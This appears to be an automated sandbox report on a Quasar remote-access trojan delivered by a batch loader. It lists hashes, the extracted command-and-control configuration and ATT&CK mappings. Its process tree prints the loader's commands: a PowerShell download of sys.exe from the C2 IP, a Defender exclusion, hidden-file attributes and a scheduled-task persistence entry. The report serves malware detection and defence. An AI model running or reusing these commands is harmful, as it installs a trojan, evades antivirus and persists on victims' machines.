quasar | 146ef38c311af5e1375df0f2ad2f34f691b1104c35e20a610a68eb8147db7e0b

General

Target

syntaxloader.bat
Size

25KB
MD5

ea50d652e81767c52b0f8428ff1e25da
SHA1

430b12c8f82e58ec10a00426f506b9a0bd71489a
SHA256

146ef38c311af5e1375df0f2ad2f34f691b1104c35e20a610a68eb8147db7e0b
SHA512

60072e939c4b0b3296f699cfb9585444231fad591323c61d4fb9c41828ab41e4afb171cf036623a697ed73e9a0db68954c2f92bac032180b68ca8842390e909f
SSDEEP

384:7f07tvjFJnoSCZV5mbksKIyaxoxJy1KTb:j07tHoSCZqbhKIyPmKf

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

45.95.214.119:1604

Mutex

3e9a7b17-c168-4406-a87b-cdcabb53c1e4

Attributes

encryption_key
B45F6102F44CEBC69B790BA64CFCD6C9F8E03CE3
install_name
battleeye.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Update
subdirectory
beservice

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0002000000022ef8-45.dat	family_quasar
behavioral2/memory/2272-47-0x0000000000A00000-0x0000000000D24000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	2368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2368	powershell.exe
2244	powershell.exe
3148	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
2272	sys.exe
1968	battleeye.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\beservice\battleeye.exe	sys.exe
File opened for modification	C:\Windows\system32\beservice\battleeye.exe	sys.exe
File opened for modification	C:\Windows\system32\beservice	sys.exe
File opened for modification	C:\Windows\system32\beservice\battleeye.exe	battleeye.exe
File opened for modification	C:\Windows\system32\beservice	battleeye.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4544	schtasks.exe
1440	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2244	powershell.exe
2244	powershell.exe
3148	powershell.exe
3148	powershell.exe
2368	powershell.exe
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeDebugPrivilege	2272	sys.exe
Token: SeDebugPrivilege	1968	battleeye.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2244	2312	cmd.exe	84
PID 2312 wrote to memory of 2244	2312	cmd.exe	84
PID 2312 wrote to memory of 2644	2312	cmd.exe	85
PID 2312 wrote to memory of 2644	2312	cmd.exe	85
PID 2312 wrote to memory of 3148	2312	cmd.exe	87
PID 2312 wrote to memory of 3148	2312	cmd.exe	87
PID 2312 wrote to memory of 3500	2312	cmd.exe	90
PID 2312 wrote to memory of 3500	2312	cmd.exe	90
PID 2312 wrote to memory of 2368	2312	cmd.exe	91
PID 2312 wrote to memory of 2368	2312	cmd.exe	91
PID 2312 wrote to memory of 2272	2312	cmd.exe	99
PID 2312 wrote to memory of 2272	2312	cmd.exe	99
PID 2312 wrote to memory of 1504	2312	cmd.exe	100
PID 2312 wrote to memory of 1504	2312	cmd.exe	100
PID 2272 wrote to memory of 1440	2272	sys.exe	101
PID 2272 wrote to memory of 1440	2272	sys.exe	101
PID 2272 wrote to memory of 1968	2272	sys.exe	103
PID 2272 wrote to memory of 1968	2272	sys.exe	103
PID 1968 wrote to memory of 4544	1968	battleeye.exe	104
PID 1968 wrote to memory of 4544	1968	battleeye.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3500	attrib.exe
1504	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\syntaxloader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -window hidden -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath "C:\
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3148
- C:\Windows\system32\attrib.exe
  attrib +h "Anon" /s /d
  2⤵
  - Views/modifies file attributes
  PID:3500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Invoke-Webrequest '45.95.214.119/sys.exe' -OutFile sys.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2368
- C:\Users\Admin\AppData\Local\Anon\sys.exe
  sys.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Windows\system32\beservice\battleeye.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1440
- - C:\Windows\system32\beservice\battleeye.exe
    "C:\Windows\system32\beservice\battleeye.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Windows\system32\beservice\battleeye.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4544
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\Anon\sys.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:1504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Anon\sys.exe

Filesize
3.1MB

MD5
4915b087fb9edb7b9ccf2a6d5342c00b

SHA1
1502b18fb5f3aea33ab9b7b63aa127a3d6c99381

SHA256
a45643dbc3dfc95d1f7a0975f295a06065b1d3b12cacb05c6bec347d86eba004

SHA512
7579baa365025c097e0774f127ac56df6eb19efbd38eb958a1a043cb28a40c993ecad84664f319dbee5bd7c8a015c537eb3c0c3de8b50225eee7a6f4ab8a704c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frg3cexq.52a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1968-59-0x000000001DD00000-0x000000001DD3C000-memory.dmp

Filesize
240KB

Download
memory/1968-58-0x000000001DCA0000-0x000000001DCB2000-memory.dmp

Filesize
72KB

Download
memory/1968-55-0x000000001DD40000-0x000000001DDF2000-memory.dmp

Filesize
712KB

Download
memory/1968-54-0x000000001DC30000-0x000000001DC80000-memory.dmp

Filesize
320KB

Download
memory/2244-12-0x00007FFD77D90000-0x00007FFD78851000-memory.dmp

Filesize
10.8MB

Download
memory/2244-15-0x00007FFD77D90000-0x00007FFD78851000-memory.dmp

Filesize
10.8MB

Download
memory/2244-0-0x00007FFD77D93000-0x00007FFD77D95000-memory.dmp

Filesize
8KB

Download
memory/2244-11-0x00007FFD77D90000-0x00007FFD78851000-memory.dmp

Filesize
10.8MB

Download
memory/2244-1-0x000001B91BD60000-0x000001B91BD82000-memory.dmp

Filesize
136KB

Download
memory/2272-47-0x0000000000A00000-0x0000000000D24000-memory.dmp

Filesize
3.1MB

Download
memory/3148-28-0x00007FFD77D90000-0x00007FFD78851000-memory.dmp

Filesize
10.8MB

Download
memory/3148-31-0x00007FFD77D90000-0x00007FFD78851000-memory.dmp

Filesize
10.8MB

Download
memory/3148-17-0x00007FFD77D90000-0x00007FFD78851000-memory.dmp

Filesize
10.8MB

Download
memory/3148-18-0x00007FFD77D90000-0x00007FFD78851000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads